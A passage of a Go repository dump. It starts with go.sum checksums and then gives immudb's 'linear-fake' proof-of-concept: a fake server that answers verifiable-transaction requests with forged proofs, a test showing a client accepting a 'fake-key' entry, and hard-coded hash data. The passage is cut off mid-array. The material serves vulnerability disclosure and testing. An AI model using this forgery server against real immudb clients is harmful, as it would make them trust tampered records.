h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc= google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/go_client_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main_test import ( "context" "os" "path/filepath" "testing" main "linear-fake" immudb "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" ) // Simple test routine for checking PoC vulnerability code func TestServer(t *testing.T) { srv, err := main.GetFakeServer(t.TempDir(), 3322) require.NoError(t, err) go func() { require.NoError(t, srv.Start()) }() defer srv.Stop() defer func() { list, err := filepath.Glob(".state-*") require.NoError(t, err) for _, e := range list { err := os.Remove(e) require.NoError(t, err) } }() opts := immudb.DefaultOptions(). WithAddress("localhost"). WithPort(3322) ctx := context.Background() client := immudb.NewClient().WithOptions(opts) err = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) defer client.CloseSession(ctx) // get correct entries at TX 2 tx2, err := client.VerifiedTxByID(ctx, 2) require.NoError(t, err) require.EqualValues(t, 2, tx2.Header.Id) require.Len(t, tx2.GetEntries(), 1) require.Equal(t, "valid-key-0", string(tx2.GetEntries()[0].GetKey())) // transition to TX 3, verify consistency between TX 2 and TX 3 tx3, err := client.VerifiedTxByID(ctx, 3) require.NoError(t, err) require.EqualValues(t, 3, tx3.Header.Id) require.Len(t, tx3.GetEntries(), 1) require.Equal(t, "valid-key-1", string(tx3.GetEntries()[0].GetKey())) // transition to TX 5, verify consistency between TX3 and TX 5 tx5, err := client.VerifiedTxByID(ctx, 5) require.NoError(t, err) require.EqualValues(t, 5, tx5.Header.Id) require.Len(t, tx5.GetEntries(), 1) require.Equal(t, "key-after-1", string(tx5.GetEntries()[0].GetKey())) // verified get of TX2 with known state at TX 5 returning fake data tx2Fake, err := client.VerifiedTxByID(ctx, 2) require.NoError(t, err) require.EqualValues(t, 2, tx2.Header.Id) require.Len(t, tx2Fake.GetEntries(), 1) require.Equal(t, "fake-key", string(tx2Fake.GetEntries()[0].GetKey())) } ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/main.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "log" "os" "os/signal" "syscall" ) func main() { tmpDir, err := os.MkdirTemp("", "") if err != nil { log.Fatal(err) } defer os.RemoveAll(tmpDir) srv, err := GetFakeServer(tmpDir, 3322) if err != nil { log.Fatal(err) } exitSignal := make(chan os.Signal, 1) signal.Notify(exitSignal, os.Interrupt, syscall.SIGTERM) go srv.Start() <-exitSignal srv.Stop() } ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "errors" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server" ) type customDbList struct { dbList database.DatabaseList } func (l *customDbList) Put(db database.DB) { l.dbList.Put(db) } func (l *customDbList) Delete(dbName string) (database.DB, error) { return l.dbList.Delete(dbName) } func (l *customDbList) GetByIndex(index int) (database.DB, error) { return wrapDb(l.dbList.GetByIndex(index)) } func (l *customDbList) GetByName(dbName string) (database.DB, error) { return wrapDb(l.dbList.GetByName(dbName)) } func (l *customDbList) GetId(dbName string) int { return l.dbList.GetId(dbName) } func (l *customDbList) Length() int { return l.dbList.Length() } func wrapDb(db database.DB, err error) (database.DB, error) { if err != nil { return nil, err } return &dbWrapper{ DB: db, }, nil } type dbWrapper struct { database.DB } func (db *dbWrapper) unsupported() error { return errors.New( `unsupported operation for this test, please do the test using the following steps: 1. fetch transaction 2 with proof without prior state or with state at tx 2, ensure transaction 2 contains key "valid-key-0" 2. get consistency proof between Tx 2 and Tx 3, store Tx 3 state 3. get consistency proof between Tx 3 and Tx 5, store Tx 5 state 4. fetch Tx 2 with consistency proof against Tx 5 again, server will respond with a transaction that will contain "fake-key" entry valid client should reject this sequence of actions`, ) } func (db *dbWrapper) CurrentState() (*schema.ImmutableState, error) { // This call may happen when the client does not yet have a valid state return stateQueryResult, nil } func (db *dbWrapper) Set(req *schema.SetRequest) (*schema.TxHeader, error) { return nil, db.unsupported() } func (db *dbWrapper) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { return nil, db.unsupported() } func (db *dbWrapper) Get(req *schema.KeyRequest) (*schema.Entry, error) { return nil, db.unsupported() } func (db *dbWrapper) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { return nil, db.unsupported() } func (db *dbWrapper) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) { return nil, db.unsupported() } func (db *dbWrapper) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { return nil, db.unsupported() } func (db *dbWrapper) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error) { return nil, db.unsupported() } func (db *dbWrapper) VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { return nil, db.unsupported() } func (db *dbWrapper) Scan(req *schema.ScanRequest) (*schema.Entries, error) { return nil, db.unsupported() } func (db *dbWrapper) History(req *schema.HistoryRequest) (*schema.Entries, error) { return nil, db.unsupported() } func (db *dbWrapper) ExecAll(operations *schema.ExecAllRequest) (*schema.TxHeader, error) { return nil, db.unsupported() } func (db *dbWrapper) Count(prefix *schema.KeyPrefix) (*schema.EntryCount, error) { return nil, db.unsupported() } func (db *dbWrapper) CountAll() (*schema.EntryCount, error) { return nil, db.unsupported() } func (db *dbWrapper) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { return nil, db.unsupported() } func (db *dbWrapper) VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { return nil, db.unsupported() } func (db *dbWrapper) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { return nil, db.unsupported() } func (db *dbWrapper) NewSQLTx(ctx context.Context) (*sql.SQLTx, error) { return nil, db.unsupported() } func (db *dbWrapper) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { return nil, nil, db.unsupported() } func (db *dbWrapper) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { return nil, nil, db.unsupported() } func (db *dbWrapper) InferParameters(sql string, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { return nil, db.unsupported() } func (db *dbWrapper) InferParametersPrepared(stmt sql.SQLStmt, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { return nil, db.unsupported() } func (db *dbWrapper) SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return nil, db.unsupported() } func (db *dbWrapper) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return nil, db.unsupported() } func (db *dbWrapper) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) { return nil, db.unsupported() } func (db *dbWrapper) VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { return nil, db.unsupported() } func (db *dbWrapper) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return nil, db.unsupported() } func (db *dbWrapper) DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return nil, db.unsupported() } func (db *dbWrapper) WaitForTx(txID uint64, cancellation <-chan struct{}) error { return db.unsupported() } func (db *dbWrapper) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error { return db.unsupported() } func (db *dbWrapper) TxByID(req *schema.TxRequest) (*schema.Tx, error) { return nil, db.unsupported() } func (db *dbWrapper) ExportTxByID(req *schema.ExportTxRequest) ([]byte, error) { return nil, db.unsupported() } func (db *dbWrapper) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) { return nil, db.unsupported() } func (db *dbWrapper) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { if req.Tx == 2 && req.ProveSinceTx == 2 { return verifiableTxById_2_2, nil } if req.Tx == 3 && req.ProveSinceTx == 2 { return verifiableTxById_3_2, nil } if req.Tx == 5 && req.ProveSinceTx == 3 { return verifiableTxById_5_3, nil } if req.Tx == 2 && req.ProveSinceTx == 5 { return verifiableTxById_5_2_fake, nil } return nil, db.unsupported() } func (db *dbWrapper) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { return nil, db.unsupported() } func (db *dbWrapper) FlushIndex(req *schema.FlushIndexRequest) error { return db.unsupported() } func (db *dbWrapper) CompactIndex() error { return db.unsupported() } func GetFakeServer(dir string, port int) (server.ImmuServerIf, error) { // init master server opts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(port). WithDir(dir) srv := server. DefaultServer(). WithOptions(opts). WithDbList(&customDbList{ dbList: database.NewDatabaseList(), }) err := srv.Initialize() if err != nil { return nil, err } return srv, nil } ================================================ FILE: docs/security/vulnerabilities/linear-fake/server/state_values.go ================================================ package main import ( "github.com/codenotary/immudb/pkg/api/schema" ) var ( stateQueryResult = &schema.ImmutableState{ Db: "defaultdb", TxId: 2, TxHash: []byte{ 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, }, } verifiableTxById_2_2 = &schema.VerifiableTx{ Tx: &schema.Tx{ Header: &schema.TxHeader{ Id: 2, PrevAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, Entries: []*schema.TxEntry{ { Key: []byte{ 0x00, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x2D, 0x6B, 0x65, 0x79, 0x2D, 0x30, }, HValue: []byte{ 0x94, 0x1E, 0xB6, 0x5D, 0xD1, 0x72, 0xC2, 0x95, 0xFF, 0x50, 0x83, 0xCD, 0x69, 0xE7, 0x6B, 0x00, 0x1D, 0x50, 0x67, 0x18, 0x71, 0x0F, 0x51, 0xFA, 0x83, 0x26, 0xE6, 0xDC, 0x23, 0x6B, 0x7F, 0xF6, }, VLen: 14, }, }, }, DualProof: &schema.DualProof{ SourceTxHeader: &schema.TxHeader{ Id: 2, PrevAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, TargetTxHeader: &schema.TxHeader{ Id: 2, PrevAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0x11, 0x1D, 0xAE, 0xBD, 0x4D, 0xF4, 0x7C, 0x54, 0x37, 0xFA, 0x1B, 0x08, 0x35, 0x59, 0x47, 0xD5, 0x90, 0xA7, 0x18, 0x39, 0x9F, 0x87, 0x40, 0x14, 0xCA, 0x93, 0x0A, 0x49, 0xD4, 0x46, 0x99, 0xA6, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 0x11, 0xE8, 0x86, 0x1A, 0xE2, }, }, InclusionProof: [][]byte{}, ConsistencyProof: [][]byte{}, TargetBlTxAlh: []byte{ 0xFB, 0x23, 0x40, 0xD3, 0x97, 0x23, 0xB2, 0x62, 0x46, 0x4F, 0xEA, 0x07, 0x96, 0xCB, 0xA8, 0xCA, 0x04, 0xE7, 0x4B, 0x4B, 0x67, 0xB6, 0xAD, 0x74, 0x93, 0x19, 0x2B, 0x01, 0x6E, 0x70, 0x4E, 0x52, }, LastInclusionProof: [][]byte{}, LinearProof: &schema.LinearProof{ SourceTxId: 2, TargetTxId: 2, Terms: [][]byte{ { 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, }, }, }, }, } verifiableTxById_3_2 = &schema.VerifiableTx{ Tx: &schema.Tx{ Header: &schema.TxHeader{ Id: 3, PrevAlh: []byte{ 0xBE, 0x6E, 0xD4, 0xBA, 0xA7, 0xE7, 0xB2, 0x7B, 0xD4, 0x19, 0xFE, 0xA6, 0xD5, 0xBF, 0x52, 0xBF, 0x76, 0xAA, 0x9A, 0x64, 0xF7, 0xC6, 0xDC, 0xD6, 0xEB, 0x4E, 0x62, 0x52, 0xFC, 0x67, 0x51, 0x95, }, Ts: 1661869350, Version: 1, Nentries: 1, EH: []byte{ 0xB3, 0x8B, 0xA7, 0x86, 0x7A, 0xD8, 0xD6, 0xCB, 0x11, 0x21, 0x14, 0x03, 0x56, 0xD1, 0x83, 0x81, 0xD4, 0x89, 0x83, 0x55, 0x0D, 0x2D, 0x60, 0x6C, 0xC9, 0x32, 0x3B, 0x6A, 0x41, 0xD3, 0x0C, 0x4C, }, BlTxId: 1, BlRoot: []byte{ 0xA1, 0xA7, 0xF6, 0xBF, 0x5D, 0xE3, 0x37, 0x1B, 0x85, 0x94, 0x06, 0xB3, 0x0E, 0x91, 0x9D, 0xBB, 0x1D, 0xB8, 0xF5, 0x36, 0x8C, 0x66, 0xC2, 0x45, 0xFD, 0x1F, 0xC5, 